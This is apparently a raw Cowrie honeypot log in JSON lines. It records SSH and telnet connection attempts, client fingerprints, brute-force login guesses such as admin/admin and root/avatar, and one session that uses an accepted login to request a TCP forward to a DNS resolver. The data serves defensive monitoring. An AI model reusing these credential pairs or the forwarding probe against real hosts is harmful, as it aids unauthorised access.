{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45938,"dst_ip":"10.17.0.5","dst_port":22,"session":"72ffe17e2b29","protocol":"ssh","message":"New connection: 87.251.64.176:45938 (10.17.0.5:22) [session: 72ffe17e2b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:04.501611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:04.506603Z","src_ip":"87.251.64.176","session":"72ffe17e2b29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:04.603685Z","src_ip":"87.251.64.176","session":"72ffe17e2b29","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:04.896702Z","src_ip":"87.251.64.176","session":"72ffe17e2b29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:04.997939Z","session":"72ffe17e2b29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:05.091133Z","src_ip":"191.96.110.121","session":"d6be3b1f3fd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:05.098418Z","src_ip":"87.251.64.176","session":"72ffe17e2b29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:05.197255Z","src_ip":"87.251.64.176","session":"72ffe17e2b29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00157284736633,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:06.171580Z","src_ip":"152.42.224.71","session":"43bd6d1c98fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45530,"dst_ip":"10.17.0.5","dst_port":23,"session":"da45cbc86b2d","protocol":"telnet","message":"New connection: 152.42.224.71:45530 (10.17.0.5:23) [session: da45cbc86b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:06.400554Z"}
{"eventid":"cowrie.session.closed","duration":36.97002959251404,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:06.578436Z","src_ip":"152.42.224.71","session":"16c6380d60a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48690,"dst_ip":"10.17.0.5","dst_port":23,"session":"a56eaa88e2b4","protocol":"telnet","message":"New connection: 152.42.224.71:48690 (10.17.0.5:23) [session: a56eaa88e2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:19.613859Z"}
{"eventid":"cowrie.session.closed","duration":42.94750165939331,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:24.898297Z","src_ip":"152.42.224.71","session":"0178fe67bfe8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52634,"dst_ip":"10.17.0.5","dst_port":23,"session":"edd614c7bb5c","protocol":"telnet","message":"New connection: 152.42.224.71:52634 (10.17.0.5:23) [session: edd614c7bb5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:26.084627Z"}
{"eventid":"cowrie.session.closed","duration":35.043906450271606,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:26.865765Z","src_ip":"152.42.224.71","session":"9f8d33c5108b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.93735194206238,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:31.408483Z","src_ip":"152.42.224.71","session":"5a1304647d81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.94982028007507,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:32.939970Z","src_ip":"152.42.224.71","session":"a9366c53df6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":42456,"dst_ip":"159.203.135.109","dst_port":22,"session":"138d71316199","protocol":"ssh","message":"New connection: 147.45.211.215:42456 (159.203.135.109:22) [session: 138d71316199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:38.522960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:38.531191Z","src_ip":"147.45.211.215","session":"138d71316199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:38.705145Z","src_ip":"147.45.211.215","session":"138d71316199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35130,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c014da0ce0a","protocol":"telnet","message":"New connection: 152.42.224.71:35130 (10.17.0.5:23) [session: 3c014da0ce0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:38.834986Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"avatar","message":"login attempt [root/avatar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:39.225816Z","src_ip":"147.45.211.215","session":"138d71316199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":51600,"dst_ip":"159.203.135.109","dst_port":22,"session":"e90b27724a4c","protocol":"ssh","message":"New connection: 77.94.47.83:51600 (159.203.135.109:22) [session: e90b27724a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:39.625260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:39.629531Z","src_ip":"77.94.47.83","session":"e90b27724a4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:39.749270Z","src_ip":"77.94.47.83","session":"e90b27724a4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"werilopert","message":"login attempt [root/werilopert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:40.107814Z","src_ip":"77.94.47.83","session":"e90b27724a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:40.402439Z","src_ip":"147.45.211.215","session":"138d71316199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.537089824676514,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:40.937204Z","src_ip":"152.42.224.71","session":"da45cbc86b2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:41.228923Z","src_ip":"77.94.47.83","session":"e90b27724a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35138,"dst_ip":"10.17.0.5","dst_port":23,"session":"978f9ca3b03d","protocol":"telnet","message":"New connection: 152.42.224.71:35138 (10.17.0.5:23) [session: 978f9ca3b03d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:41.822556Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55538,"dst_ip":"10.17.0.5","dst_port":23,"session":"60b5c2ed7bc5","protocol":"telnet","message":"New connection: 152.42.224.71:55538 (10.17.0.5:23) [session: 60b5c2ed7bc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:46.298300Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55548,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7eeb6d77372","protocol":"telnet","message":"New connection: 152.42.224.71:55548 (10.17.0.5:23) [session: e7eeb6d77372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:49.352945Z"}
{"eventid":"cowrie.session.closed","duration":101.40921449661255,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:51.915252Z","src_ip":"152.42.224.71","session":"f94865102c2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.31494998931885,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:55.928683Z","src_ip":"152.42.224.71","session":"a56eaa88e2b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":41630,"dst_ip":"10.17.0.5","dst_port":22,"session":"02fe123e2cc9","protocol":"ssh","message":"New connection: 103.122.221.179:41630 (10.17.0.5:22) [session: 02fe123e2cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:57.682427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:57.686634Z","src_ip":"103.122.221.179","session":"02fe123e2cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00105619430542,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:57.737739Z","src_ip":"152.42.224.71","session":"ca123fb62336","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:57.956584Z","src_ip":"103.122.221.179","session":"02fe123e2cc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rafael","message":"login attempt [root/rafael] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:58.767633Z","src_ip":"103.122.221.179","session":"02fe123e2cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.64098119735718,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:53:59.725482Z","src_ip":"152.42.224.71","session":"edd614c7bb5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:00.040884Z","src_ip":"103.122.221.179","session":"02fe123e2cc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":44058,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce14edaee6de","protocol":"ssh","message":"New connection: 103.173.227.57:44058 (159.203.135.109:22) [session: ce14edaee6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:01.933196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:01.941508Z","src_ip":"103.173.227.57","session":"ce14edaee6de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:02.177694Z","src_ip":"103.173.227.57","session":"ce14edaee6de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"element","message":"login attempt [root/element] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:02.883310Z","src_ip":"103.173.227.57","session":"ce14edaee6de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55784,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac653006a108","protocol":"telnet","message":"New connection: 152.42.224.71:55784 (10.17.0.5:23) [session: ac653006a108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:04.068539Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:04.122155Z","src_ip":"103.173.227.57","session":"ce14edaee6de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.42100739479065,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:05.255900Z","src_ip":"152.42.224.71","session":"3c014da0ce0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44300,"dst_ip":"10.17.0.5","dst_port":23,"session":"06da97b62d39","protocol":"telnet","message":"New connection: 152.42.224.71:44300 (10.17.0.5:23) [session: 06da97b62d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:09.034158Z"}
{"eventid":"cowrie.session.closed","duration":7.070777654647827,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:11.138945Z","src_ip":"152.42.224.71","session":"ac653006a108","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00125527381897,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:11.595306Z","src_ip":"152.42.224.71","session":"f0b4e7ff5e62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7816104888916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:12.604060Z","src_ip":"152.42.224.71","session":"978f9ca3b03d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54202,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1af1aecdfa7","protocol":"telnet","message":"New connection: 152.42.224.71:54202 (10.17.0.5:23) [session: e1af1aecdfa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:25.506773Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35962,"dst_ip":"10.17.0.5","dst_port":23,"session":"43c338d704f6","protocol":"telnet","message":"New connection: 152.42.224.71:35962 (10.17.0.5:23) [session: 43c338d704f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:31.804665Z"}
{"eventid":"cowrie.session.closed","duration":49.90915822982788,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:36.207311Z","src_ip":"152.42.224.71","session":"60b5c2ed7bc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35356,"dst_ip":"10.17.0.5","dst_port":23,"session":"43ba0d23020a","protocol":"telnet","message":"New connection: 152.42.224.71:35356 (10.17.0.5:23) [session: 43ba0d23020a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:37.184887Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35368,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a11663c9390","protocol":"telnet","message":"New connection: 152.42.224.71:35368 (10.17.0.5:23) [session: 0a11663c9390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:37.239238Z"}
